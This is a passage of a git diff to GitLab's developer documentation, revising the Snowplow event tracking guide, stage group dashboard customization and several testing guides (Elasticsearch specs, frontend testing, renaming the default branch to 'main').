-## Enabling Snowplow
+## Enable Snowplow tracking
Tracking can be enabled at:
- The instance level, which enables tracking on both the frontend and backend layers.
-- User level, though user tracking can be disabled on a per-user basis. GitLab tracking respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level.
+- The user level, though user tracking can be disabled on a per-user basis.
+ GitLab respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level.
+
+Snowplow tracking is enabled on GitLab.com, and we use it for most of our tracking strategy.
+
+To enable Snowplow tracking on a self-managed instance:
-We use Snowplow for the majority of our tracking strategy and it is enabled on GitLab.com. On a self-managed instance, Snowplow can be enabled by navigating to:
+1. On the top bar, select **Menu >** **{admin}** **Admin**, then select **Settings > General**.
+ Alternatively, go to `admin/application_settings/general` in your browser.
-- **Admin Area > Settings > General** in the UI.
-- `admin/application_settings/integrations` in your browser.
+1. Expand **Snowplow**.
-Example configuration:
+1. Select **Enable snowplow tracking** and enter your Snowplow configuration information. For example:
-| Name | Value |
-|---------------|-------------------------------|
-| Collector | `your-snowplow-collector.net` |
-| Site ID | `gitlab` |
-| Cookie domain | `.your-gitlab-instance.com` |
+ | Name | Value |
+ |--------------------|-------------------------------|
+ | Collector hostname | `your-snowplow-collector.net` |
+ | App ID | `gitlab` |
+ | Cookie domain | `.your-gitlab-instance.com` |
+
+1. Select **Save changes**.
## Snowplow request flow
@@ -155,13 +158,13 @@ Snowplow JS adds many [web-specific parameters](https://docs.snowplowanalytics.c
## Implementing Snowplow JS (Frontend) tracking
-GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. Additional data can be provided that adheres to our [Structured event taxonomy](#structured-event-taxonomy).
+GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers) for tracking custom events. The simplest way to use it is to add `data-` attributes to clickable elements and dropdowns. There is also a Vue mixin (exposing a `track` method), and the static method `Tracking.event`. Each of these requires at minimum a `category` and an `action`. You can provide additional [Structured event taxonomy](#structured-event-taxonomy) properties along with an `extra` object that accepts key-value pairs.
| field | type | default value | description |
|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `category` | string | `document.body.dataset.page` | Page or subsection of a page that events are being captured within. |
| `action` | string | generic | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. |
-| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, and `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
+| `data` | object | `{}` | Additional data such as `label`, `property`, `value`, `context` (as described in our [Structured event taxonomy](#structured-event-taxonomy)), and `extra` (key-value pairs object). |
### Usage recommendations
@@ -171,7 +174,7 @@ GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tra
### Tracking with data attributes
-When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-action` attribute automatically have event tracking bound on clicks.
+When working within HAML (or Vue templates) we can add `data-track-*` attributes to elements of interest. All elements that have a `data-track-action` attribute automatically have event tracking bound on clicks. You can provide extra data as a valid JSON string using `data-track-extra`.
Below is an example of `data-track-*` attributes assigned to a button:
@@ -184,6 +187,7 @@ Below is an example of `data-track-*` attributes assigned to a button:
data-track-action="click_button"
data-track-label="template_preview"
data-track-property="my-template"
+ data-track-extra='{ "template_variant": "primary" }'
/>
```
@@ -196,7 +200,8 @@ Below is a list of supported `data-track-*` attributes:
| `data-track-action` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. Replaces `data-track-event`, which was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/290962) in GitLab 13.11. |
| `data-track-label` | false | The `label` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
| `data-track-property` | false | The `property` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
-| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. |
+| `data-track-value` | false | The `value` as described in our [Structured event taxonomy](#structured-event-taxonomy). If omitted, this is the element's `value` property or `undefined`. For checkboxes, the default value is the element's checked attribute or `0` when unchecked. |
+| `data-track-extra` | false | A key-value pairs object passed as a valid JSON string. This is added to the `extra` property in our [`gitlab_standard`](#gitlab_standard) schema. |
| `data-track-context` | false | The `context` as described in our [Structured event taxonomy](#structured-event-taxonomy). |
#### Available helpers
@@ -287,6 +292,7 @@ export default {
// category: '',
// property: '',
// value: '',
+ // extra: {},
},
};
},
@@ -357,6 +363,10 @@ button.addEventListener('click', () => {
Tracking.event('dashboard:projects:index', 'click_button', {
label: 'create_from_template',
property: 'template_preview',
+ extra: {
+ templateVariant: 'primary',
+ valid: 1,
+ },
});
});
```
@@ -381,6 +391,50 @@ describe('MyTracking', () => {
expect(Tracking.event).toHaveBeenCalledWith(undefined, 'click_button', {
label: 'create_from_template',
property: 'template_preview',
+ extra: {
+ templateVariant: 'primary',
+ valid: true,
+ },
+ });
+ });
+});
+```
+
+### Form tracking
+
+You can enable Snowplow automatic [form tracking](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/javascript-trackers/javascript-tracker/javascript-tracker-v2/tracking-specific-events/#form-tracking) by calling `Tracking.enableFormTracking` (after the DOM is ready) and providing a `config` object that includes at least one of the following elements:
+
+- `forms`: determines which forms are tracked, and are identified by the CSS class name.
+- `fields`: determines which fields inside the tracked forms are tracked, and are identified by the field `name`.
+
+An optional list of contexts can be provided as the second argument.
+Note that our [`gitlab_standard`](#gitlab_standard) schema is excluded from these events.
+
+```javascript
+Tracking.enableFormTracking({
+ forms: { allow: ['sign-in-form', 'password-recovery-form'] },
+ fields: { allow: ['terms_and_conditions', 'newsletter_agreement'] },
+});
+```
+
+#### Testing example
+
+```javascript
+import Tracking from '~/tracking';
+
+describe('MyFormTracking', () => {
+ let formTrackingSpy;
+
+ beforeEach(() => {
+ formTrackingSpy = jest
+ .spyOn(Tracking, 'enableFormTracking')
+ .mockImplementation(() => null);
+ });
+
+ it('initialized with the correct configuration', () => {
+ expect(formTrackingSpy).toHaveBeenCalledWith({
+ forms: { allow: ['sign-in-form', 'password-recovery-form'] },
+ fields: { allow: ['terms_and_conditions', 'newsletter_agreement'] },
});
});
});
@@ -388,7 +442,7 @@ describe('MyTracking', () => {
## Implementing Snowplow Ruby (Backend) tracking
-GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://github.com/snowplow/snowplow/wiki/ruby-tracker) for tracking custom events.
+GitLab provides `Gitlab::Tracking`, an interface that wraps the [Snowplow Ruby Tracker](https://docs.snowplowanalytics.com/docs/collecting-data/collecting-from-own-applications/ruby-tracker) for tracking custom events.
Custom event tracking and instrumentation can be added by directly calling the `GitLab::Tracking.event` class method, which accepts the following arguments:
@@ -444,7 +498,15 @@ There are several tools for developing and testing Snowplow Event
**{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned
-### Snowplow Analytics Debugger Chrome Extension
+### Test frontend events
+
+To test frontend events in development:
+
+- [Enable Snowplow tracking in the Admin Area](#enable-snowplow-tracking).
+- Turn off any ad blockers that would prevent Snowplow JS from loading in your environment.
+- Turn off "Do Not Track" (DNT) in your browser.
+
+#### Snowplow Analytics Debugger Chrome Extension
Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments.
@@ -452,7 +514,7 @@ Snowplow Analytics Debugger is a browser extension for testing frontend events.
1. Open Chrome DevTools to the Snowplow Analytics Debugger tab.
1. Learn more at [Igloo Analytics](https://www.iglooanalytics.com/blog/snowplow-analytics-debugger-chrome-extension.html).
-### Snowplow Inspector Chrome Extension
+#### Snowplow Inspector Chrome Extension
Snowplow Inspector Chrome Extension is a browser extension for testing frontend events. This works on production, staging and local development environments.
@@ -565,6 +627,20 @@ Snowplow Mini can be used for testing frontend and backend events on a productio
For GitLab.com, we're setting up a [QA and Testing environment](https://gitlab.com/gitlab-org/telemetry/-/issues/266) using Snowplow Mini.
+### Troubleshooting
+
+To control content security policy warnings when using an external host, you can allow or disallow them by modifying `config/gitlab.yml`. To allow them, add the relevant host for `connect_src`. For example, for `https://snowplow.trx.gitlab.net`:
+
+```yaml
+development:
+ <<: *base
+ gitlab:
+ content_security_policy:
+ enabled: true
+ directives:
+ connect_src: "'self' http://localhost:* http://127.0.0.1:* ws://localhost:* wss://localhost:* ws://127.0.0.1:* https://snowplow.trx.gitlab.net/"
+```
+
## Snowplow Schemas
### `gitlab_standard`
diff --git a/doc/development/stage_group_dashboards.md b/doc/development/stage_group_dashboards.md
index 44c738092ac..277c12fc938 100644
--- a/doc/development/stage_group_dashboards.md
+++ b/doc/development/stage_group_dashboards.md
@@ -52,6 +52,26 @@ component has 2 indicators:
1. [Apdex](https://en.wikipedia.org/wiki/Apdex): The rate of
operations that performed adequately.
+
+ The threshold for 'performed adequately' is stored in our [metrics
+ catalog](https://gitlab.com/gitlab-com/runbooks/-/tree/master/metrics-catalog)
+ and depends on the service in question. For the Puma (Rails)
+ component of the
+ [API](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/api.jsonnet#L127),
+ [Git](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/git.jsonnet#L216),
+ and
+ [Web](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/web.jsonnet#L154)
+ services, that threshold is **1 second**.
+
+ For Sidekiq job execution, the threshold depends on the [job
+ urgency](sidekiq_style_guide.md#job-urgency). It is
+ [currently](https://gitlab.com/gitlab-com/runbooks/-/blob/f22f40b2c2eab37d85e23ccac45e658b2c914445/metrics-catalog/services/lib/sidekiq-helpers.libsonnet#L25-38)
+ **10 seconds** for high-urgency jobs and **5 minutes** for other
+ jobs.
+
+ Some stage groups may have more services than these, and the
+ thresholds for those will be in the metrics catalog as well.
+
1. Error rate: The rate of operations that had errors.
The calculation to a ratio then happens as follows:
@@ -143,14 +163,7 @@ stageGroupDashboards.dashboard('product_planning')
.stageGroupDashboardTrailer()
```
-We provide basic customization to filter out the components essential to your group's activities. By default, all components `web`, `api`, `git`, and `sidekiq` are available in the dashboard. We can change this to only show `web` and `api`, or only show `sidekiq`:
-
-```jsonnet
-stageGroupDashboards.dashboard('product_planning', components=['web', 'api']).stageGroupDashboardTrailer()
-# Or
-stageGroupDashboards.dashboard('product_planning', components=['sidekiq']).stageGroupDashboardTrailer()
-
-```
+We provide basic customization to filter out the components essential to your group's activities. By default, only the `web`, `api`, and `sidekiq` components are available in the dashboard, while `git` is hidden. See [how to enable available components and optional graphs](#optional-graphs).
You can also append further information or custom metrics to a dashboard. This is an example that adds some links and a total request rate on the top of the page:
@@ -166,7 +179,7 @@ stageGroupDashboards.dashboard('source_code')
mode='markdown',
content=|||
Useful link for the Source Code Management group dashboard:
- - [Issue list](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name%5B%5D=repository)
+ - [Issue list](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&state=opened&label_name%5B%5D=repository)
- [Epic list](https://gitlab.com/groups/gitlab-org/-/epics?label_name[]=repository)
|||,
),
@@ -199,3 +212,31 @@ If you want to see the workflow in action, we've recorded a pairing session on c
available on [GitLab Unfiltered](https://youtu.be/shEd_eiUjdI).
For deeper customization and more complicated metrics, visit the [Grafonnet lib](https://github.com/grafana/grafonnet-lib) project and the [GitLab Prometheus Metrics](../administration/monitoring/prometheus/gitlab_metrics.md#gitlab-prometheus-metrics) documentation.
+
+### Optional Graphs
+
+Some Graphs aren't relevant for all groups, so they aren't added to
+the dashboard by default. They can be added by customizing the
+dashboard.
+
+By default, only the `web`, `api`, and `sidekiq` metrics are
+shown. If you wish to see the metrics from the `git` fleet (or any
+other component that might be added in the future), this could be
+configured as follows:
+
+```jsonnet
+stageGroupDashboards
+.dashboard('source_code', components=stageGroupDashboards.supportedComponents)
+.stageGroupDashboardTrailer()
+```
+
+If your group is interested in Sidekiq job durations and their
+thresholds, these graphs can be added by calling the
+`.addSidekiqJobDurationByUrgency` function:
+
+```jsonnet
+stageGroupDashboards
+.dashboard('access')
+.addSidekiqJobDurationByUrgency()
+.stageGroupDashboardTrailer()
+```
diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md
index c3125f52cf2..c44e26927fe 100644
--- a/doc/development/testing_guide/best_practices.md
+++ b/doc/development/testing_guide/best_practices.md
@@ -851,6 +851,47 @@ using expectations, or dependency injection along with stubs, to avoid the need
for modifications. If you have no other choice, an `around` block like the global
variables example can be used, but avoid this if at all possible.
+#### Elasticsearch specs
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61171) in GitLab 14.0.
+
+Specs that require Elasticsearch must be marked with the `:elastic` trait. This
+creates and deletes indices between examples to ensure a clean index, so that there is no room
+for polluting the tests with nonessential data.
+Most tests for Elasticsearch logic relate to:
+
+- Creating data in Postgres and waiting for it to be indexed in Elasticsearch.
+- Searching for that data.
+- Ensuring that the test gives the expected result.
+
+There are some exceptions, such as checking for structural changes rather than individual records in an index.
+
+The `:elastic_with_delete_by_query` trait was added to reduce run time for pipelines by creating and deleting indices
+at the start and end of each context only. The [Elasticsearch DeleteByQuery API](https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-delete-by-query.html)
+is used to delete data in all indices in between examples to ensure a clean index.
+
+Note that Elasticsearch indexing uses [`Gitlab::Redis::SharedState`](../../../ee/development/redis.md#gitlabrediscachesharedstatequeues).
+Therefore, the Elasticsearch traits dynamically use the `:clean_gitlab_redis_shared_state` trait.
+You do NOT need to add `:clean_gitlab_redis_shared_state` manually.
+
+Specs using Elasticsearch require that you:
+
+- Create data in Postgres and then index it into Elasticsearch.
+- Enable Application Settings for Elasticsearch (which is disabled by default).
+
+To do so, use:
+
+```ruby
+before do
+ stub_ee_application_setting(elasticsearch_search: true, elasticsearch_indexing: true)
+end
+```
+
+Additionally, you can use the `ensure_elasticsearch_index!` method to overcome the asynchronous nature of Elasticsearch.
+It uses the [Elasticsearch Refresh API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-refresh.html#refresh-api-desc)
+to make sure all operations performed on an index since the last refresh are available for search. This method is typically
+called after loading data into Postgres to ensure the data is indexed and searchable.
+
#### Test Snowplow events
WARNING:
@@ -954,6 +995,7 @@ Only use simple values as input in the `where` block. Using
objects, FactoryBot-created objects, and similar items can lead to
[unexpected results](https://github.com/tomykaira/rspec-parameterized/issues/8).
<!-- vale gitlab.Spelling = YES -->
+
### Prometheus tests
Prometheus metrics may be preserved from one test run to another. To ensure that metrics are
@@ -1034,6 +1076,16 @@ expect(json_string).to be_valid_json
expect(json_string).to be_valid_json.and match_schema(schema)
```
+#### `be_one_of(collection)`
+
+The inverse of `include`, tests that the `collection` includes the expected
+value:
+
+```ruby
+expect(:a).to be_one_of(%i[a b c])
+expect(:z).not_to be_one_of(%i[a b c])
+```
+
### Testing query performance
Testing query performance allows us to:
@@ -1097,7 +1149,7 @@ module Spec
module Helpers
module CycleAnalyticsHelpers
def create_commit_referencing_issue(issue, branch_name: random_git_name)
- project.repository.add_branch(user, branch_name, 'master')
+ project.repository.add_branch(user, branch_name, 'main')
create_commit("Commit for ##{issue.iid}", issue.project, user, branch_name)
end
end
@@ -1154,7 +1206,7 @@ let(:project) { create(:project, :repository) }
```
Where you can, consider using the `:custom_repo` trait instead of `:repository`.
-This allows you to specify exactly what files appear in the `master` branch
+This allows you to specify exactly what files appear in the `main` branch
of the project's repository. For example:
```ruby
diff --git a/doc/development/testing_guide/ci.md b/doc/development/testing_guide/ci.md
index 7318f767219..e3fccdcee34 100644
--- a/doc/development/testing_guide/ci.md
+++ b/doc/development/testing_guide/ci.md
@@ -12,7 +12,7 @@ Our current CI parallelization setup is as follows:
1. The `retrieve-tests-metadata` job in the `prepare` stage ensures we have a
`knapsack/report-master.json` file:
- - The `knapsack/report-master.json` file is fetched from the latest `master` pipeline which runs `update-tests-metadata`
+ - The `knapsack/report-master.json` file is fetched from the latest `main` pipeline which runs `update-tests-metadata`
(for now it's the 2-hourly scheduled master pipeline), if it's not here we initialize the file with `{}`.
1. Each `[rspec|rspec-ee] [unit|integration|system|geo] n m` job are run with
`knapsack rspec` and should have an evenly distributed share of tests:
@@ -31,7 +31,7 @@ After that, the next pipeline uses the up-to-date `knapsack/report-master.json`
## Monitoring
-The GitLab test suite is [monitored](../performance.md#rspec-profiling) for the `master` branch, and any branch
+The GitLab test suite is [monitored](../performance.md#rspec-profiling) for the `main` branch, and any branch
that includes `rspec-profile` in their name.
## CI setup
diff --git a/doc/development/testing_guide/end_to_end/beginners_guide.md b/doc/development/testing_guide/end_to_end/beginners_guide.md
index 7cde2cad300..e0f0e9e7089 100644
--- a/doc/development/testing_guide/end_to_end/beginners_guide.md
+++ b/doc/development/testing_guide/end_to_end/beginners_guide.md
@@ -41,11 +41,11 @@ Does sufficient test coverage exist at the unit, feature, or integration levels?
If you answered *yes*, then you *don't* need an end-to-end test.
For information about the distribution of tests per level in GitLab, see
-[Testing Levels](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/testing_guide/testing_levels.md).
+[Testing Levels](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/testing_guide/testing_levels.md).
- See the
- [How to test at the correct level?](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/testing_guide/testing_levels.md#how-to-test-at-the-correct-level)
- section of the [Testing levels](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/development/testing_guide/testing_levels.md) document.
+ [How to test at the correct level?](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/testing_guide/testing_levels.md#how-to-test-at-the-correct-level)
+ section of the [Testing levels](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/testing_guide/testing_levels.md) document.
- Review how often the feature changes. Stable features that don't change very often
might not be worth covering with end-to-end tests if they are already covered
in lower level tests.
diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md
index e3719393d41..c9acb2e9371 100644
--- a/doc/development/testing_guide/end_to_end/feature_flags.md
+++ b/doc/development/testing_guide/end_to_end/feature_flags.md
@@ -72,7 +72,7 @@ Runtime::Feature.enable(:feature_flag_name)
It's also possible to run an entire scenario with a feature flag enabled, without having to edit
existing tests or write new ones.
-Please see the [QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa#running-tests-with-a-feature-flag-enabled)
+Please see the [QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa#running-tests-with-a-feature-flag-enabled)
for details.
## Confirming that end-to-end tests pass with a feature flag enabled
@@ -81,7 +81,7 @@ End-to-end tests should pass with a feature flag enabled before it is enabled on
If a test enables a feature flag as describe above, it is sufficient to run the `package-and-qa` job in a merge request containing the relevant changes.
Or, if the feature flag and relevant changes have already been merged, you can confirm that the tests
-pass on `master`. The end-to-end tests run on `master` every two hours, and the results are posted to a [Test
+pass on `main`. The end-to-end tests run on `main` every two hours, and the results are posted to a [Test
Session Report, which is available in the testcase-sessions project](https://gitlab.com/gitlab-org/quality/testcase-sessions/-/issues?label_name%5B%5D=found%3Amaster).
If the relevant tests do not enable the feature flag themselves, you can check if the tests will need
diff --git a/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png b/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png
index 9ceccd39025..d5a2522ed82 100644
--- a/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png
+++ b/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png
Binary files differ
diff --git a/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png b/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png
index 489a043f52e..55eecaf8adf 100644
--- a/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png
+++ b/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png
Binary files differ
diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md
index e6da4771e55..6ab288b0525 100644
--- a/doc/development/testing_guide/end_to_end/index.md
+++ b/doc/development/testing_guide/end_to_end/index.md
@@ -100,7 +100,8 @@ You may have noticed that we use `gitlab-org/build/omnibus-gitlab-mirror` instea
This is due to technical limitations in the GitLab permission model: the ability to run a pipeline
against a protected branch is controlled by the ability to push/merge to this branch.
This means that for developers to be able to trigger a pipeline for the default branch in
-`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have Maintainer permission in those projects.
+`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have the
+[Maintainer role](../../../user/permissions.md) for those projects.
For security reasons and implications, we couldn't open up the default branch to all the Developers.
Hence we created these mirrors where Developers and Maintainers are allowed to push/merge to the default branch.
This problem was discovered in <https://gitlab.com/gitlab-org/gitlab-qa/-/issues/63#note_107175160> and the "mirror"
@@ -179,7 +180,7 @@ of the test scenarios you can run via the orchestrator](https://gitlab.com/gitla
On the other hand, if you would like to run against a local development GitLab
environment, you can use the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/).
-Please refer to the instructions in the [QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa/README.md#how-can-i-use-it)
+Please refer to the instructions in the [QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/README.md#how-can-i-use-it)
and the section below.
### Running tests that require special setup
@@ -192,7 +193,7 @@ In order to write new tests, you first need to learn more about GitLab QA
architecture. See the [documentation about it](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/architecture.md).
Once you decided where to put [test environment orchestration scenarios](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/lib/gitlab/qa/scenario) and
-[instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features), take a look at the [GitLab QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa/README.md),
+[instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features), take a look at the [GitLab QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/README.md),
the [GitLab QA orchestrator README](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md), and [the already existing
instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features).
diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
index 549ab95a5d1..859b8f950e3 100644
--- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
+++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Jenkins spec
-The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry).
+The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/-/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry).
The Docker image it uses is preconfigured with some base data and plugins.
The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that are used
to run the tests. Unfortunately, the GitLab Jenkins plugin does not accept ports so `http://localhost:3000` would
@@ -47,7 +47,7 @@ Jenkins is available on `http://localhost:8080`.
Admin username is `admin` and password is `password`.
-It is worth noting that this is not an orchestrated test. It is [tagged with the `:orchestrated` meta](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb#L5)
+It is worth noting that this is not an orchestrated test. It is [tagged with the `:orchestrated` meta](https://gitlab.com/gitlab-org/gitlab/-/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb#L5)
only to prevent it from running in the pipelines for live environments such as Staging.
### Troubleshooting
diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md
index 6b1c7a7eb58..bfcd68dbaf3 100644
--- a/doc/development/testing_guide/flaky_tests.md
+++ b/doc/development/testing_guide/flaky_tests.md
@@ -13,7 +13,7 @@ eventually.
## Quarantined tests
-When a test frequently fails in `master`,
+When a test frequently fails in `main`,
[a ~"master:broken" issue](https://about.gitlab.com/handbook/engineering/workflow/#broken-master)
should be created.
If the test cannot be fixed in a timely fashion, there is an impact on the
@@ -53,10 +53,10 @@ Quarantined tests are run on the CI in dedicated jobs that are allowed to fail:
## Automatic retries and flaky tests detection
On our CI, we use [RSpec::Retry](https://github.com/NoRedInk/rspec-retry) to automatically retry a failing example a few
-times (see [`spec/spec_helper.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/spec_helper.rb) for the precise retries count).
+times (see [`spec/spec_helper.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/spec_helper.rb) for the precise retries count).
We also use a home-made `RspecFlaky::Listener` listener which records flaky
-examples in a JSON report file on `master` (`retrieve-tests-metadata` and
+examples in a JSON report file on `main` (`retrieve-tests-metadata` and
`update-tests-metadata` jobs).
This was originally implemented in: <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13021>.
diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md
index 911fbd43989..8573fa81718 100644
--- a/doc/development/testing_guide/frontend_testing.md
+++ b/doc/development/testing_guide/frontend_testing.md
@@ -54,7 +54,7 @@ which have to be stubbed.
- Jest runs in a Node.js environment, not in a browser. Support for running Jest tests in a browser [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/26982).
- Because Jest runs in a Node.js environment, it uses [jsdom](https://github.com/jsdom/jsdom) by default. See also its [limitations](#limitations-of-jsdom) below.
- Jest does not have access to Webpack loaders or aliases.
- The aliases used by Jest are defined in its [own configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/jest.config.js).
+ The aliases used by Jest are defined in its [own configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/master/jest.config.js).
- All calls to `setTimeout` and `setInterval` are mocked away. See also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks).
- `rewire` is not required because Jest supports mocking modules. See also [Manual Mocks](https://jestjs.io/docs/manual-mocks).
- No [context object](https://jasmine.github.io/tutorials/your_first_suite#section-The_%3Ccode%3Ethis%3C/code%3E_keyword) is passed to tests in Jest.
@@ -83,13 +83,13 @@ Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect
### Timeout error
The default timeout for Jest is set in
-[`/spec/frontend/test_setup.js`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/test_setup.js).
+[`/spec/frontend/test_setup.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/test_setup.js).
If your test exceeds that time, it fails.
If you cannot improve the performance of the tests, you can increase the timeout
for a specific test using
-[`setTestTimeout`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/__helpers__/timeout.js).
+[`setTestTimeout`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/__helpers__/timeout.js).
```javascript
import { setTestTimeout } from 'helpers/timeout';
@@ -249,7 +249,7 @@ it('exists', () => {
wrapper.findByText(/Click Me/i)
// Good (especially for unit tests)
- wrapper.find(FooComponent);
+ wrapper.findComponent(FooComponent);
wrapper.find('input[name=foo]');
wrapper.find('[data-testid="my-foo-id"]');
wrapper.findByTestId('my-foo-id'); // with shallowMountExtended or mountExtended – check below
@@ -281,7 +281,7 @@ Example:
```javascript
it('exists', () => {
- wrapper.find(FooComponent);
+ wrapper.findComponent(FooComponent);
});
```
@@ -386,7 +386,7 @@ Sometimes we have to test time-sensitive code. For example, recurring events tha
#### `setTimeout()` / `setInterval()` in application
If the application itself is waiting for some time, mock await the waiting. In Jest this is already
-[done by default](https://gitlab.com/gitlab-org/gitlab/blob/a2128edfee799e49a8732bfa235e2c5e14949c68/jest.config.js#L47)
+[done by default](https://gitlab.com/gitlab-org/gitlab/-/blob/a2128edfee799e49a8732bfa235e2c5e14949c68/jest.config.js#L47)
(see also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks)). In Karma you can use the
[Jasmine mock clock](https://jasmine.github.io/api/2.9/Clock.html).
@@ -748,7 +748,7 @@ Jest supports [manual module mocks](https://jestjs.io/docs/manual-mocks) by plac
(e.g. `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder).
